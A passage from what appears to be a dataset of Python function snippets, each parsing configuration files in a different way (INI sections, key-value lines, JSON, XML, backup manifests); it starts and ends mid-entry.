configparser.ConfigParser()\\n with open('dwh.cfg') as configfile:\\n config.read_file(configfile)\\n\\n ANGELCO_EMAIL = config.get('ANGELCO', 'EMAIL')\\n ANGELCO_PASSWORD = config.get('ANGELCO', 'PASSWORD')\",\n \"def config_dict(filename):\\n f = open(filename, \\\"r\\\")\\n cfglines = f.readlines()\\n f.close()\\n cfgdict = {}\\n for line in cfglines:\\n line = line.strip()\\n if not line or line.startswith(\\\"#\\\"):\\n continue\\n try:\\n key, value = line.split(\\\"=\\\")\\n except:\\n print \\\"Bad line in config-file %s:\\\\n%s\\\" % (filename, line)\\n continue\\n key = key.strip()\\n value = value.strip()\\n if value in [\\\"True\\\", \\\"False\\\", \\\"None\\\", \\\"''\\\", '\\\"\\\"']:\\n value = eval(value)\\n else:\\n try:\\n if \\\".\\\" in value:\\n value = float(value)\\n else:\\n value = int(value)\\n except:\\n pass # value need not be converted\\n cfgdict[key] = value\\n return cfgdict\",\n \"def load_filter(filename):\\n # parse config file\\n if not os.path.isfile(filename):\\n raise IOError('File \\\"%s\\\" does not exist' % filename)\\n try:\\n f = open(filename)\\n except IOError:\\n raise IOError('Could not open file \\\"%s\\\"' % filename)\\n\\n cfg_items = []\\n for (i, line) in enumerate(f):\\n try:\\n # remove all comments and unnecessary whitespace\\n normalizer = shlex.shlex(line)\\n normalizer.wordchars += '.-'\\n normal_line = ' '.join([t for t in normalizer])\\n if normal_line:\\n # split up normalized line and build dictionary\\n cfg_item = {}\\n for part in normal_line.split(','):\\n cfg_split = shlex.split(part)\\n key = cfg_split.pop(0)\\n value = cfg_split\\n cfg_item[key] = value\\n cfg_items.append(cfg_item)\\n except (IndexError, ValueError):\\n raise RuntimeError( \\\\\\n 'Could not parse line %i of file \\\"%s\\\"' % (i, filename))\\n\\n # look for global bit settings\\n bits_global = None\\n factor_bits_global = None\\n norm_bits_global = None\\n for cfg_item in cfg_items:\\n if 'bits_global' in cfg_item:\\n if bits_global is None:\\n [bits_global] = cfg_item.pop('bits_global')\\n bits_global = int(bits_global)\\n else:\\n raise RuntimeError( \\\\\\n 'bits_global must not be specified more than once')\\n if 'factor_bits_global' in cfg_item:\\n if factor_bits_global is None:\\n [factor_bits_global] = cfg_item.pop('factor_bits_global')\\n factor_bits_global = int(factor_bits_global)\\n else:\\n raise RuntimeError( \\\\\\n 'factor_bits_global must not be specified more than once')\\n if 'norm_bits_global' in cfg_item:\\n if norm_bits_global is None:\\n [norm_bits_global] = cfg_item.pop('norm_bits_global')\\n norm_bits_global = int(norm_bits_global)\\n else:\\n raise RuntimeError( \\\\\\n 'norm_bits_global must not be specified more than once')\\n\\n # remove empty items from cfg_items, only node definitions should be left\\n cfg_items = filter(None, cfg_items)\\n\\n # look for filter nodes\\n filter_nodes = {}\\n adjacency = {}\\n input_node = None\\n output_node = None\\n for cfg_item in cfg_items:\\n # mandatory settings\\n try:\\n [node] = cfg_item['node']\\n except KeyError:\\n raise RuntimeError('Node type not specified')\\n try:\\n [name] = cfg_item['name']\\n except KeyError:\\n raise RuntimeError('Name not specified')\\n # optional settings\\n if 'bits' in cfg_item:\\n [bits] = map(int, cfg_item['bits'])\\n else:\\n bits = bits_global\\n if 'connect' in cfg_item:\\n connect = cfg_item['connect']\\n else:\\n connect = []\\n if 'input' in cfg_item:\\n if input_node is None:\\n input_node = name\\n else:\\n raise RuntimeError('More than one input node specified')\\n if 'output' in cfg_item:\\n if output_node is None:\\n output_node = name\\n else:\\n raise RuntimeError('More than one output node specified')\\n\\n # make filter node\\n if name not in filter_nodes:\\n if bits is not None:\\n if node == 'Const':\\n filter_nodes[name] = Const(bits)\\n elif node == 'Add':\\n filter_nodes[name] = Add(bits)\\n elif node == 'Delay':\\n filter_nodes[name] = Delay(bits)\\n elif node == 'Multiply':\\n if 'factor_bits' in cfg_item:\\n [factor_bits] = cfg_item['factor_bits']\\n factor_bits = int(factor_bits)\\n else:\\n factor_bits = factor_bits_global\\n if 'norm_bits' in cfg_item:\\n [norm_bits] = cfg_item['norm_bits']\\n norm_bits = int(norm_bits)\\n else:\\n norm_bits = norm_bits_global\\n if (factor_bits is not None and norm_bits is not None):\\n filter_nodes[name] = Multiply(\\n bits, factor_bits, norm_bits)\\n if 'factor' in cfg_item:\\n [factor] = cfg_item['factor']\\n factor = float(factor)\\n filter_nodes[name].set_factor(factor, norm=True)\\n else:\\n raise ValueError('Unknown node type: %s' % node)\\n else:\\n raise RuntimeError('Number of bits for node \\\"%s\\\" not specified' \\\\\\n % name)\\n adjacency[name] = connect\\n else:\\n raise RuntimeError('Node \\\"%s\\\" already present' % name)\\n\\n # make filter\\n if input_node is None:\\n raise RuntimeError('No input node specified')\\n elif output_node is None:\\n raise RuntimeError('No output node specified')\\n else:\\n return Filter(filter_nodes, adjacency, input_node, output_node)\",\n \"def parse_config_file(filename):\\n config = {\\n 'TREES': {},\\n 'ALIASES': {},\\n }\\n\\n try:\\n config = _load_python_file(filename, config)\\n except SyntaxError as e:\\n raise Exception('Syntax error in config file: %s\\\\n'\\n 'Line %i offset %i\\\\n'\\n % (filename, e.lineno, e.offset))\\n\\n return dict((k, config[k])\\n for k in set(config.keys()) - set(builtin.keys()))\",\n \"def read_config_file(fn):\\n config = dict()\\n with open(fn) as f:\\n for line in f.readlines():\\n line = line.rstrip() # remove newline character\\n \\n # skip blank lines and comment lines\\n if not line or line[0]=='#':\\n continue\\n \\n # remove inline comments\\n ind = line.find('#')\\n if ind != -1:\\n line = line[:ind].strip()\\n \\n # parse\\n if '=' in line:\\n line_parts = line.split('=')\\n else:\\n line_parts = line.split(' ')\\n if len(line_parts) != 2:\\n print('Could not parse line', line, ', skipping...')\\n continue\\n \\n # cast to appropriate type\\n key, val_str = line_parts[0].strip(), line_parts[1].strip()\\n try:\\n config[key] = int(val_str)\\n except ValueError:\\n try:\\n config[key] = float(val_str)\\n except ValueError:\\n config[key] = val_str.replace('\\\"','')\\n\\n return config\",\n \"def parse_config(filename):\\n\\n output = []\\n\\n root = parse(filename).getroot()\\n\\n for graph in root.findall('graph'):\\n output.append({\\n 'output': graph.get('output'),\\n 'legend': graph.get('legend'),\\n\\n 'title': graph.get('title'),\\n 'xlabel': graph.get('xlabel'),\\n 'ylabel': graph.get('ylabel'),\\n\\n 'metrics': []\\n })\\n\\n for metric in graph.findall('metric'):\\n output[-1]['metrics'].append({\\n 'label': metric.get('label'),\\n\\n 'color': metric.get('color'),\\n\\n 'func': metric.get(\\\"func\\\"),\\n\\n 'x_stream': metric.get('x_stream'),\\n 'y_stream': metric.get('y_stream'),\\n 'z_stream': metric.get('z_stream')\\n })\\n\\n return output\",\n \"def _handleAnswerFileParams(answerFile):\\n try:\\n logging.debug(\\\"Starting to handle config file\\\")\\n\\n # Read answer file\\n fconf = ConfigParser.ConfigParser()\\n fconf.read(answerFile)\\n\\n # Iterate all the groups and check the pre/post conditions\\n for group in controller.getAllGroups():\\n # Get all params per group\\n\\n # Handle pre conditions for group\\n preConditionValue = True\\n if group.getKey(\\\"PRE_CONDITION\\\"):\\n preConditionValue = _handleGroupCondition(fconf, group.getKey(\\\"PRE_CONDITION\\\"), preConditionValue)\\n\\n # Handle pre condition match with case insensitive values\\n logging.info(\\\"Comparing pre- conditions, value: '%s', and match: '%s'\\\" % (preConditionValue, group.getKey(\\\"PRE_CONDITION_MATCH\\\")))\\n if utils.compareStrIgnoreCase(preConditionValue, group.getKey(\\\"PRE_CONDITION_MATCH\\\")):\\n for param in group.getAllParams():\\n _loadParamFromFile(fconf, \\\"general\\\", param.getKey(\\\"CONF_NAME\\\"))\\n\\n # Handle post conditions for group only if pre condition passed\\n postConditionValue = True\\n if group.getKey(\\\"POST_CONDITION\\\"):\\n postConditionValue = _handleGroupCondition(fconf, group.getKey(\\\"POST_CONDITION\\\"), postConditionValue)\\n\\n # Handle post condition match for group\\n if not utils.compareStrIgnoreCase(postConditionValue, group.getKey(\\\"POST_CONDITION_MATCH\\\")):\\n logging.error(\\\"The group condition (%s) returned: %s, which differs from the excpeted output: %s\\\"%\\\\\\n (group.getKey(\\\"GROUP_NAME\\\"), postConditionValue, group.getKey(\\\"POST_CONDITION_MATCH\\\")))\\n raise ValueError(output_messages.ERR_EXP_GROUP_VALIDATION_ANS_FILE%\\\\\\n (group.getKey(\\\"GROUP_NAME\\\"), postConditionValue, group.getKey(\\\"POST_CONDITION_MATCH\\\")))\\n else:\\n logging.debug(\\\"condition (%s) passed\\\" % group.getKey(\\\"POST_CONDITION\\\"))\\n else:\\n logging.debug(\\\"no post condition check for group %s\\\" % group.getKey(\\\"GROUP_NAME\\\"))\\n else:\\n logging.debug(\\\"skipping params group %s since value of group validation is %s\\\" % (group.getKey(\\\"GROUP_NAME\\\"), preConditionValue))\\n\\n except Exception as e:\\n logging.error(traceback.format_exc())\\n raise Exception(output_messages.ERR_EXP_HANDLE_ANSWER_FILE%(e))\",\n \"def parse(filename):\\n with open(filename) as file:\\n contents = file.read()\\n lines = contents.split(\\\"\\\\n\\\") # Python reads all endings by default as \\\\n\\n res = {}\\n for line in lines:\\n if line.startswith(\\\"#\\\") or line == \\\"\\\":\\n continue\\n x = line.split(\\\":\\\")\\n if x[1] != '':\\n res[int(x[0])] = x[1]\\n return res\",\n \"def parseconfig(conf, rate, loopnum):\\n global parsesetting, math\\n\\n ch1n = int(conf[0][0])\\n ch2n = int(conf[0][1])\\n nparam = int(conf[0][2])\\n ch1start = 2\\n ch2start = ch1start + ch1n*nparam + 1\\n\\n # intervals = int(math.ceil(totalt * rate))\\n result = [[]] * (ch1n + ch2n)\\n\\n maxlength = -1\\n for i in range(ch1n):\\n idx = ch1start + i * nparam\\n values = parsesetting(conf[idx:idx+nparam], rate, loopnum)\\n result[i] = list(values)\\n maxlength = max(len(values), maxlength)\\n for i in range(ch2n):\\n idx = ch2start + i * nparam\\n values = parsesetting(conf[idx:idx+nparam], rate, loopnum)\\n result[ch1n+i] = list(values)\\n maxlength = max(len(values), maxlength)\\n\\n # Equalize the results' length\\n for i in range(len(result)):\\n result[i] += [result[i][-1]] * (maxlength - len(result[i]))\\n\\n return result\",\n \"def parse_arguments():\\n global CONFIG_FILE\\n\\n # Parse any conf_file specification\\n # add_help=False so it doesn't parse -h and print help.\\n conf_parser = argparse.ArgumentParser(\\n description=__doc__, # printed with -h/--help\\n formatter_class=argparse.RawDescriptionHelpFormatter,\\n # Turn off help, to print all options in response to -h\\n add_help=False\\n )\\n conf_parser.add_argument(\\\"-c\\\", dest='conf_file', default=CONFIG_FILE,\\n help=\\\"Specify config file\\\", metavar=\\\"FILE\\\")\\n args, remaining_argv = conf_parser.parse_known_args()\\n defaults = {}\\n if args.conf_file:\\n try:\\n with open(args.conf_file) as f:\\n config = json.load(f)\\n defaults.update({k.lower(): v for k, v in config.items()})\\n except FileNotFoundError:\\n print('Config file not found: ' + args.conf_file)\\n except json.decoder.JSONDecodeError:\\n print('Config file parsing failed. Please format it as json object')\\n\\n # Parse the rest of arguments\\n parser = argparse.ArgumentParser(parents=[conf_parser])\\n parser.set_defaults(**defaults)\\n parser.add_argument('--name', help='REQUIRED Directory name for the Phabricator source')\\n parser.add_argument('--url', help='REQUIRED Phabricator api URL')\\n parser.add_argument('--token', help='REQUIRED Phabricator api token')\\n parser.add_argument('--basedir', default='./phabry_data/',\\n help='Base directory name')\\n parser.add_argument('--start', help='Start date dd-mm-yyyy')\\n parser.add_argument('--end', help='End date dd-mm-yyyy')\\n args = parser.parse_args(remaining_argv)\\n if None in (args.name, args.url, args.token):\\n parser.print_help()\\n print(\\\"phabry.py: error: the following arguments are required:\\\", end='')\\n if args.name is None:\\n print(\\\" --name\\\", end='')\\n if args.url is None:\\n print(\\\" --url\\\", end='')\\n if args.token is None:\\n print(\\\" --token\\\", end='')\\n exit()\\n if args.start:\\n start_date = datetime.datetime.strptime(args.start, '%d-%m-%Y')\\n args.start = int(start_date.replace(tzinfo=datetime.timezone.utc).timestamp())\\n else:\\n args.start = None\\n\\n if args.end:\\n end_date = datetime.datetime.strptime(args.end, '%d-%m-%Y')\\n args.end = int(end_date.replace(tzinfo=datetime.timezone.utc).timestamp())\\n else:\\n args.end = None\\n\\n return args\",\n \"def makeGcauCfgDictFromAgc(lineList): \\r\\n diction = {}\\r\\n withinCfgData = False\\r\\n for eachString in lineList:\\r\\n if re.match(RE_COMPILED_CFG_START, eachString):\\r\\n withinCfgData = True\\r\\n elif re.match(RE_COMPILED_CFG_END, eachString):\\r\\n withinCfgData = False\\r\\n elif withinCfgData:\\r\\n p = re.match(RE_COMPILED_CFG_ITEM, eachString)\\r\\n if p:\\r\\n obj = p.groups()[0]\\r\\n attr = p.groups()[1]\\r\\n val = p.groups()[2]\\r\\n if obj not in diction:\\r\\n diction[obj] = {}\\r\\n diction[obj][attr] = val\\r\\n return diction\",\n \"def readConfig(file=\\\"config.ini\\\"):\\n ip_pool = []\\n cmd_pool = []\\n Config=ConfigParser.ConfigParser()\\n Config.read(file)\\n machines = Config.items(\\\"MACHINES\\\")\\n commands = Config.items(\\\"COMMANDS\\\")\\n for ip in machines:\\n ip_pool.append(ip[1])\\n for cmd in commands:\\n cmd_pool.append(cmd[1])\\n print cmd[1]\\n return ip_pool,cmd_pool\",\n \"def read_settings(self, settings_file):\\n import configparser\\n import itertools\\n cfg = configparser.ConfigParser()\\n filename = settings_file\\n with open(filename) as fp:\\n cfg.read_file(itertools.chain(['[global]'], fp), source=filename)\\n d = {}\\n for c in cfg.items('global'):\\n try:\\n d[c[0]] = eval(c[1].strip(';'))\\n except Exception:\\n pass\\n self.distance = d['parameters.distance']\\n self.a, self.b, self.c, alpha, beta, gamma = d['parameters.unitcell']\\n self.alpha, self.beta, self.gamma = (\\n alpha*degrees, beta*degrees, gamma*degrees)\\n ubmat = np.matrix(d['parameters.ubmat'])\\n self.Umat = ubmat * self.Bimat\\n self.xc = d['parameters.det0x']\\n self.yc = d['parameters.det0y']\\n self.pitch = d['parameters.orienterrordetpitch'] * degrees\\n self.roll = d['parameters.orienterrordetroll'] * degrees\\n self.yaw = d['parameters.orienterrordetyaw'] * degrees\\n self.theta = d['parameters.orienterrorgonpitch'] * degrees\\n self.omega = d['parameters.omeganom'] * degrees\\n self.chi = d['parameters.chinom'] * degrees\\n self.phi = d['parameters.phinom'] * degrees\\n self.phi_step = d['parameters.phistep'] * degrees\\n self.h_start, self.k_start, self.l_start = d['parameters.gridorigin']\\n self.h_stop, self.k_stop, self.l_stop = [-v\\n for v in d\\n ['parameters.gridorigin']]\\n hs, ks, ls = d['parameters.griddim']\\n self.h_step, self.k_step, self.l_step = [1.0/hs, 1.0/ks, 1.0/ls]\\n self.h_shape, self.k_shape, self.l_shape = d['outputdata.dimensions']\",\n \"def get_configs(candidate_filename):\\n return (sortby('name')(haresources2.load(haresources2_file)),\\n sortby('name')(crmdict2haresources(crm2dict(configure_parse()))))\",\n \"def _parse_config_args(args):\\r\\n config_dict = dict()\\r\\n for config_str in args:\\r\\n try:\\r\\n components = config_str.split('=')\\r\\n if len(components) >= 2:\\r\\n config_dict[components[0]] = \\\"=\\\".join(components[1:])\\r\\n\\r\\n except:\\r\\n print \\\"Warning: could not interpret config value '{0}'\\\".format(config_str)\\r\\n pass\\r\\n\\r\\n return config_dict\",\n \"def iniparse(filename, flat=True):\\n config = ConfigParser.RawConfigParser()\\n config.read(filename)\\n\\n params = {}\\n for section in config.sections():\\n if not flat:\\n params[section] = {}\\n for key, value in config.items(section):\\n try:\\n eval_val = ast.literal_eval(value)\\n except (SyntaxError, ValueError):\\n eval_val = value\\n\\n if flat:\\n params[key] = eval_val\\n else:\\n params[section][key] = eval_val\\n\\n return params\",\n \"def parse_conf(cls, name, conf):\\n return {'chunk_read': conf.get_int(name, 'chunk_read', 65536)}\",\n \"def parse_cfg(cfgfile):\\n file = open(cfgfile, 'r')\\n lines = file.read().split('\\\\n') # store the lines in a list\\n lines = [x for x in lines if len(x) > 0] # skip empty lines\\n lines = [x for x in lines if x[0] != '#'] # skip comment\\n lines = [x.rstrip().lstrip() for x in lines]\\n file.close()\\n\\n block = {}\\n blocks = []\\n\\n for line in lines:\\n if line[0] == \\\"[\\\": # This marks the start of a new block\\n if len(block) != 0:\\n blocks.append(block)\\n block = {}\\n block['type'] = line[1:-1].rstrip()\\n else:\\n key, value = line.split(\\\"=\\\")\\n block[key.rstrip()] = value.lstrip()\\n blocks.append(block)\\n\\n return blocks\",\n \"def parse_config(args):\\n if args.get('--config-file'):\\n config = parse_config_file(args.get('--config-file'))\\n else:\\n config = {\\n 'oauth_token': args['--oauth-token'],\\n 'channel_name': args['--channel-name'],\\n 'cmd_rate': args['--cmd-rate'],\\n 'sleep_rate': args['--sleep-rate'],\\n }\\n\\n return config\",\n \"def parse_config(config_file_name):\\n\\n config = ConfigParser.ConfigParser()\\n config.read(config_file_name)\\n main_cfg_section = config.sections()[0]\\n\\n options = config.options(main_cfg_section)\\n results = {}\\n for option in options:\\n try:\\n results[option] = config.get(main_cfg_section, option)\\n except:\\n print('exception on %s!' % option)\\n results[option] = None\\n return results\",\n \"def parse_config(self, file):\\n try:\\n self.logger.debug(\\\"parsing config file: {}\\\".format(file))\\n config = configparser.ConfigParser()\\n config.read(file)\\n self._blizzard_clientid = config['blizzard']['blizzard_clientid']\\n self._blizzard_clientsecret = config['blizzard']['blizzard_clientsecret']\\n self._db_filename = config['blizzard']['db_filename']\\n except Exception as e:\\n self.logger.error('Exception reading config from: {}'.Format(file))\\n self.logger.error(str(e))\\n raise\",\n \"def parse_parameters_file(lines):\\n param_dict = {}\\n for line in lines:\\n line = line.strip()\\n if line:\\n (param, values) = line.split('\\\\t')\\n param_dict[param] = values.split(',')\\n return param_dict\",\n \"def _read_config(config_path):\\n hyperparameters = {}\\n\\n config_df = pd.read_csv(config_path)\\n for _, row in config_df.iterrows():\\n # Randomly initialize a hyperparameter using the search space from the config file\\n hyperparameter_name = str(row['name'])\\n min_value = float(row['min'])\\n max_value = float(row['max'])\\n search_scale = str(row['scale'])\\n\\n if search_scale == 'log':\\n # Sample randomly along a logarithm search scale\\n min_exp = math.log(min_value, 10)\\n max_exp = math.log(max_value, 10)\\n random_exp = min_exp + random.random() * (max_exp - min_exp)\\n hyperparameter_value = 10 ** random_exp\\n elif search_scale == 'linear':\\n # Sample randomly along a linear search scale\\n hyperparameter_value = min_value + random.random() * (max_value - min_value)\\n else:\\n raise ValueError('Expected \\\"log\\\" or \\\"linear\\\" search scale, got \\\"{}\\\"'.format(search_scale))\\n\\n hyperparameters[hyperparameter_name] = hyperparameter_value\\n\\n return hyperparameters\",\n \"def _read_config_file(self):\\n wcec = 0\\n deadline = 0\\n jitter = 0\\n init_freq = 0\\n freqs_volt = {}\\n freqs = []\\n volts = []\\n config_file_name = self._find_file('sim_simple.config')\\n with open(config_file_name, 'rU') as f:\\n lines = f.readlines()\\n try:\\n for freq in lines[0].split():\\n freqs.append(float(freq))\\n\\n for volt in lines[1].split():\\n volts.append(float(volt))\\n\\n for i in range(0, len(freqs)):\\n freqs_volt[freqs[i]] = volts[i]\\n\\n data = lines[2].split()\\n wcec = float(data[0])\\n deadline = float(data[1])\\n period = float(data[2])\\n jitter = float(data[3])\\n init_freq = float(data[4])\\n except ValueError, IndexError:\\n print 'Invalid data in config file'\\n sys.exit(1)\\n\\n return wcec, deadline, period, jitter, init_freq, freqs_volt\",\n \"def parse(self, content):\\n self._sections = {}\\n self._filters = []\\n section = None\\n\\n def error(msg):\\n print('autodl.cfg: line {}: {}'.format(i + 1, msg))\\n # log('autodl.cfg: line {}: {}'.format(i + 1, msg))\\n\\n first_prog = re.compile(ur'^\\\\[\\\\s*([\\\\w\\\\-]+)\\\\s*(?:([^\\\\]]+))?\\\\s*]$')\\n second_prog = re.compile(ur'^([\\\\w\\\\-]+)\\\\s*=(.*)$')\\n lines = content['data'].split('\\\\n')\\n for line in lines:\\n i = 0\\n line = line.strip()\\n if line == '':\\n continue\\n\\n first_array = first_prog.match(line)\\n second_array = second_prog.match(line)\\n if line[0] == '#':\\n if section:\\n section.add_comment(line)\\n elif first_array:\\n _type = first_array.group(1).strip().lower()\\n try:\\n _name = first_array.group(2).strip().lower()\\n except AttributeError:\\n _name = None\\n section = self.get_section(_type, _name)\\n elif second_array:\\n if section is None:\\n error('Missing a [section]')\\n else:\\n _option = second_array.group(1).strip().lower()\\n _value = second_array.group(2).strip().lower()\\n section.add_option(_option, _value)\\n else:\\n error('Ignoring line')\\n i += 1\",\n \"def parse_file(input_file, start_date = datetime(1970,1,1), end_date = datetime(9999,12,31,23,59,59), backup_stamps = None):\\n logging.debug(\\\"Beginning parse_file {}\\\".format(input_file))\\n config = ConfigParser.ConfigParser()\\n \\n # C est moche mais dans notre cas c est suffirant\\n logging.debug(\\\"Openning file\\\")\\n if input_file.endswith(\\\".manifest.gz\\\"): \\n try:\\n f = gzip.open(input_file, 'rb')\\n config.readfp(f)\\n except IOError as e:\\n logging.error(\\\"Failed to acess file\\\", exc_info=True)\\n exit(1)\\n except:\\n raise\\n elif input_file.endswith(\\\".manifest\\\"):\\n try:\\n f = open(input_file, 'r')\\n config.readfp(f)\\n except IOError as e:\\n logging.error(\\\"Failed to acess file\\\", exc_info=True)\\n exit(1)\\n except:\\n raise\\n else:\\n logging.error(\\\"Invalid File\\\", exc_info=True)\\n exit(1)\\n \\n # Load Backup infos \\n info = {}\\n info[\\\"file\\\"] = input_file\\n info[\\\"backup_size\\\"] = 0\\n info[\\\"partial_backup_size\\\"] = 0\\n info[\\\"original_size\\\"] = 0\\n info[\\\"partial_original_size\\\"] = 0\\n info[\\\"backup_items\\\"] = 0\\n try:\\n logging.debug(\\\"Fetching backrest info\\\")\\n info[\\\"backrest_version\\\"] = config.get(\\\"backrest\\\",\\\"backrest-version\\\")\\n \\n logging.debug(\\\"Fetching backup info\\\")\\n info[\\\"backup_archive_start\\\"] = config.get(\\\"backup\\\",\\\"backup-archive-start\\\")\\n info[\\\"backup_archive_stop\\\"] = config.get(\\\"backup\\\",\\\"backup-archive-stop\\\")\\n info[\\\"backup_lsn_start\\\"] = config.get(\\\"backup\\\",\\\"backup-lsn-start\\\")\\n info[\\\"backup_lsn_start\\\"] = config.get(\\\"backup\\\",\\\"backup-lsn-start\\\")\\n info[\\\"backup_label\\\"] = config.get(\\\"backup\\\", \\\"backup-label\\\")\\n info[\\\"backup_type\\\"] = config.get(\\\"backup\\\", \\\"backup-type\\\")\\n if info[\\\"backup_type\\\"] != \\\"\\\\\\\"full\\\\\\\"\\\":\\n try:\\n info[\\\"backup_prior\\\"] = config.get(\\\"backup\\\", \\\"backup-prior\\\")\\n except:\\n raise\\n else:\\n info[\\\"backup_prior\\\"] = None\\n\\n drift = 2\\n info[\\\"backup_timestamp_start\\\"] = config.get(\\\"backup\\\", \\\"backup-timestamp-start\\\")\\n info[\\\"backup_timestamp_start_ts\\\"] = datetime(1970,1,1) + timedelta(hours=drift, seconds=int(info[\\\"backup_timestamp_start\\\"]))\\n info[\\\"backup_timestamp_stop\\\"] = config.get(\\\"backup\\\", \\\"backup-timestamp-stop\\\")\\n info[\\\"backup_timestamp_stop_ts\\\"] = datetime(1970,1,1) + timedelta(hours=drift, seconds=int(info[\\\"backup_timestamp_stop\\\"]))\\n \\n logging.debug(\\\"Fetching db info\\\")\\n info[\\\"db_system_id\\\"] = config.get(\\\"backup:db\\\",\\\"db-system-id\\\")\\n info[\\\"db_version\\\"] = config.get(\\\"backup:db\\\",\\\"db-version\\\")\\n except KeyError:\\n logging.error(\\\"Wrong key in manifest file\\\", exc_info=True)\\n exit(1)\\n except ConfigParser.NoSectionError:\\n logging.error(\\\"Wrong section in manifest file\\\", exc_info=True)\\n exit(1)\\n\\n logging.debug(\\\"Check dates {} [{}; {}]\\\".format(info[\\\"backup_timestamp_start_ts\\\"],start_date ,end_date))\\n if info[\\\"backup_timestamp_start_ts\\\"] <= start_date:\\n return None\\n\\n if info[\\\"backup_timestamp_start_ts\\\"] >= end_date:\\n return None\\n\\n logging.debug(\\\"Item processing\\\")\\n for item in config.items(\\\"target:file\\\"):\\n parsed_item = json.loads(item[1])\\n \\n tmp_ts = datetime(1970,1,1) + timedelta(hours=drift, seconds=int(parsed_item[\\\"timestamp\\\"]))\\n\\n info[\\\"backup_items\\\"] += 1\\n try:\\n info[\\\"backup_size\\\"] += parsed_item[\\\"repo-size\\\"]\\n except KeyError:\\n pass\\n\\n if backup_stamps and info[\\\"backup_prior\\\"] and backup_stamps[info[\\\"backup_prior\\\"]] <= tmp_ts:\\n info[\\\"partial_backup_size\\\"] += parsed_item[\\\"repo-size\\\"]\\n\\n try:\\n info[\\\"original_size\\\"] += parsed_item[\\\"size\\\"]\\n except KeyError:\\n pass\\n\\n if backup_stamps and info[\\\"backup_prior\\\"] and backup_stamps[info[\\\"backup_prior\\\"]] <= tmp_ts:\\n info[\\\"partial_original_size\\\"] += parsed_item[\\\"size\\\"]\\n \\n if info[\\\"backup_type\\\"] == \\\"\\\\\\\"full\\\\\\\"\\\":\\n info[\\\"partial_backup_size\\\"] = info[\\\"backup_size\\\"]\\n info[\\\"partial_original_size\\\"] = info[\\\"original_size\\\"]\\n\\n try:\\n info[\\\"compression\\\"] = 100 * (int(info[\\\"partial_original_size\\\"]) - int(info[\\\"partial_backup_size\\\"])) / int(info[\\\"partial_original_size\\\"])\\n except ZeroDivisionError:\\n # case where we scan a incremental backup manifest alone\\n info[\\\"compression\\\"] = 0\\n \\n logging.debug(\\\"End parse_file\\\")\\n return info\",\n \"def read_config_file(self, **kwargs):\\n if 'config_filename' in kwargs:\\n self.config_filename = kwargs['config_filename']\\n self.file_parser.read(self.config_filename)\\n self.__get_options()\\n self.__get_implementations()\\n self.__get_configurations()\\n self.consistency_check()\\n for opt, opt_desc in self.opt_dict.iteritems():\\n self.optypelist.append((opt, opt_desc['imptype']))\\n\\n for imptype in self.imp_dict.keys():\\n if 'none' not in self.imp_dict[imptype]:\\n self.imp_dict[imptype].insert(0, 'none')\",\n \"def get_config(self): # To support serialization\\n return {\\\"min value\\\": self.minval, \\\"max value\\\": self.maxval}\",\n \"def parse(cls, value: str) -> Tuple[str, Dict[str, str]]:\\n raw_value = read_value_from_path(value)\\n args: Dict[str, str] = {}\\n\\n if \\\"@\\\" in raw_value:\\n args[\\\"region\\\"], raw_value = raw_value.split(\\\"@\\\", 1)\\n\\n # now find any other arguments that can be filters\\n matches = re.findall(r\\\"([0-9a-zA-z_-]+:[^\\\\s$]+)\\\", raw_value)\\n for match in matches:\\n k, v = match.split(\\\":\\\", 1)\\n args[k] = v\\n\\n return args.pop(\\\"name_regex\\\"), args\",\n \"def parse_configuration_file(config_file):\\n try:\\n parser = parser_bnf()\\n result = parser.parseFile(config_file, parseAll=True)\\n except (ParseException, ParseSyntaxException) as e:\\n print(\\\"ERROR: {m}\\\".format(m=str(e)))\\n sys.exit(1)\\n return result\",\n \"def read_settings():\\n # open file for reading\\n ifile = open(infilename, 'r')\\n # skip comment line\\n ifile.readline()\\n # char-file name\\n line = ifile.readline()\\n line = line.split()\\n charfile = line[-1]\\n # header-file name\\n line = ifile.readline()\\n line = line.split()\\n headerfile = line[-1]\\n # output folder\\n line = ifile.readline()\\n line = line.split()\\n ofname = line[-1]\\n # length of the filaments\\n line = ifile.readline()\\n line = line.split()\\n nfil = int(line[-1])\\n # number of snapshots to skip\\n line = ifile.readline()\\n line = line.split()\\n nskip = int(line[-1])\\n # number of bins\\n line = ifile.readline()\\n line = line.split()\\n nbin = int(line[-1])\\n # maximum cutoff\\n line = ifile.readline()\\n line = line.split()\\n rmax = float(line[-1])\\n # overall number of snapshots to use in the analysis\\n line = ifile.readline()\\n line = line.split()\\n ntotal = int(line[-1])\\n # close file\\n ifile.close()\\n # return input values\\n return charfile, headerfile, ofname, nfil, nskip, nbin, rmax, ntotal\",\n \"def parse_config(config):\\n if '' in config['servers']:\\n config['servers'].remove('')\\n if 'localhost' not in config['servers']:\\n config['servers'].append('localhost')\\n\\n config['old_event_age'] = str_to_seconds(config['old_event_age'])\\n config['future_event_age'] = str_to_seconds(config['future_event_age'])\\n config['associate_interval'] = str_to_seconds(config['associate_interval'])\\n config['max_trigger_wait'] = str_to_seconds(config['max_trigger_wait'])\\n\\n boxes = OrderedDict()\\n for key, value in config['boxes'].items():\\n coords = [float(x) for x in value.split(',')]\\n mag = coords.pop(0)\\n # The config is in lat, lon order, but wee want lon, lat\\n # so we do the odd indices first\\n coords2 = list(zip(coords[1::2], coords[0::2]))\\n coords2.append(coords2[0])\\n boxes[key] = {'mag': mag, 'poly': Polygon(coords2)}\\n config['boxes'] = boxes\\n\\n repeats = {}\\n for key, value in config['repeats'].items():\\n tlist = [str_to_seconds(x) for x in value]\\n repeats[float(key)] = tlist\\n config['repeats'] = repeats\\n\\n return config\",\n \"def read_ini(ini_file): \\n project = ''\\n bd_analysis_time = bd_interval_time = '' \\n bd_ripper_analysis_time = bd_ripper_interval_time = '' \\n dvd_analysis_time = dvd_interval_time = '' \\n file_analysis_time = file_interval_time = '' \\n bd_path = dvd_path = file_path = ''\\n bd_path_mac = dvd_path_mac = file_path_mac = ''\\n params_dict = {}\\n \\n if os.path.exists(ini_file): \\n try:\\n config = ConfigParser.ConfigParser()\\n config.readfp(open(ini_file))\\n except Exception, e:\\n initlog('failed to read ini file; %s' % str(e)) \\n else: \\n try:\\n project = (config.get('Project', 'project')) \\n bd_analysis_time = int(config.get('BD/3Dcopy','analysis time')) \\n bd_interval_time = int(config.get('BD/3Dcopy','interval time')) \\n bd_ripper_analysis_time = int(config.get('BD/3Dcopy','ripper analysis time')) \\n bd_ripper_interval_time = int(config.get('BD/3Dcopy','ripper interval time')) \\t\\t\\t\\t\\n dvd_analysis_time = int(config.get('DVD/DVDcopy','analysis 